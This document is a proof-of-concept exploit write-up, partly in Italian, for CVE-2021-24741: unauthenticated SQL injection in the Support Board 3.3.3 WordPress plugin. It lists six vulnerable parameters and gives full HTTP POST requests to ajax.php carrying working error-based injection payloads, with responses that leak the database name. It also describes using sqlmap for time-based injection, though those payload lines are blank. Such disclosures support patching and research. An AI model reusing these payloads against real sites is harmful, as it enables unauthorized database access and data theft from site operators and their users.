dldygnl/cve-2021-24741Exploit proof-of-concept che dimostra molteplici vulnerabilità di SQL injection non autenticate in Support Board 3.3.3, con payload basati su errore e basati sul tempo per l'estrazione del database.
Support Board V 3.3.3
Multiple SQL Injection Vulnerability in Support Board Version 3.3.3 that allow remote unauthenticated attacker to execute arbitrary SQL commands via status_code, department, user_id, conversation_id, conversation_status_code, and recipient_id parameters to ajax.php which is connected to functions.php which the vulnerability is present.
| Funzione | Parametro vulnerabile | Tipo di injection |
|---|
| new-conversation | status_code | Error Based |
| new-conversation | department | Error Based |
| send-message | user_id | Error Based |
| send-message | conversation_id | Time Based |
| send-message | conversation_status_code | Time Based |
| send-message | recipient_id | Time Based |
Richiesta
POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 882
Origin: https://TARGET.com
Connection: close
Referer: https://TARGET.com
Cookie: sb-updates=3.3.3; sb-login=
function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false
Risposta
HTTP/1.1 200 OK
Date: Sat, 28 Aug 2021 18:58:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
vary: Accept-Encoding
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
strict-transport-security: max-age=31536000; includeSubDomains
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7jx%2B3idpDKEIdWokVp8zt1WD3J64SNohgLzr8wG0%2FYt44Hh1ieE3BpnnoRhc7aiPoGPnajoyWIeRykJZ2sYx4pDvl6TQErTS%2FoSAq2ovqRIk0sNOzOw84Xw%2BnmbTt4p5rFjE4%2F%2Bv"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 685fc52cfdc704ff-LAX
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Content-Length: 84
["error","db-error","sb_db_query","XPATH syntax error: 'Name: VULNERABLE_DB'"]
Richiesta
POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 882
Origin: https://TARGET.com
Connection: close
Referer: https://TARGET.com
Cookie: sb-updates=3.3.3; sb-login=
function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false
Risposta
HTTP/1.1 200 OK
Date: Sat, 28 Aug 2021 19:13:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
vary: Accept-Encoding
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
strict-transport-security: max-age=31536000; includeSubDomains
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7%2BL82UPHELAmWNdiuLOzhsdym4B4JdI07PQtRZzBDqONnB0BJshT45SglIlz0F6md0QH%2B6YfNWxc%2BNItIJKK9QAZOwMOFrgM5okXHOQcm%2FsehlPeSmT6%2BsSfI3MkgxYalCzmezVp"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 685fdac8cd2fd1af-HKG
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Content-Length: 91
["error","db-error","sb_db_query","XPATH syntax error: 'Database Name: VULNERABLE_DB'"]
Richiesta
POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 1044
X-Requested-With: XMLHttpRequest
Origin: TARGET
Referer: https://TARGET/wp-content/plugins/supportboard/supportboard/admin.php?conversation=-1
Connection: close
Cookie: sb-updates=3.3.3; sb-login=
function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=30&login-cookie=&language=false
Risposta
HTTP/1.1 200 OK
Date: Mon, 23 Aug 2021 15:12:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
vary: Accept-Encoding
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
strict-transport-security: max-age=31536000; includeSubDomains
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=geY0cx80cnOpGXxsoeebXh15IbI3NqHun6JzLhfZrSsTTJ7Vsx15Qwyp5K%2FW7DITdGVhFxoI%2FLarUmetvQIhPCvsCLkO8tiNqb64ulu6BNf2XlkPUqviZOgSwUhHZDJVx%2Bo%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6835472c4b1a24bf-HKG
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Content-Length: 103
["error","db-error","sb_db_query","Malformed GTID set specification 'Database Name: VULNERABLE_DB'."]
Useremo sqlmap per sfruttare il Time Based. Quindi salveremo la richiesta dal repeater in un file req e useremo sqlmap per scansionare la richiesta per trovare che il parametro conversation_id è vulnerabile al Time Based.
Il parametro conversation_id è risultato vulnerabile.
Payload trovato con sqlmap:
Useremo sqlmap per sfruttare il Time Based. Quindi salveremo la richiesta dal repeater in un file req e useremo sqlmap per scansionare la richiesta per trovare che il parametro conversation_status_code è vulnerabile al Time Based.
Il parametro conversation_status_code è risultato vulnerabile.
Payload trovato con sqlmap:
Useremo sqlmap per sfruttare il Time Based. Quindi salveremo la richiesta dal repeater in un file req e useremo sqlmap per scansionare la richiesta per trovare che il parametro recipient_id è vulnerabile al Time Based.
Il parametro recipient_id è risultato vulnerabile.
Payload trovato con sqlmap:
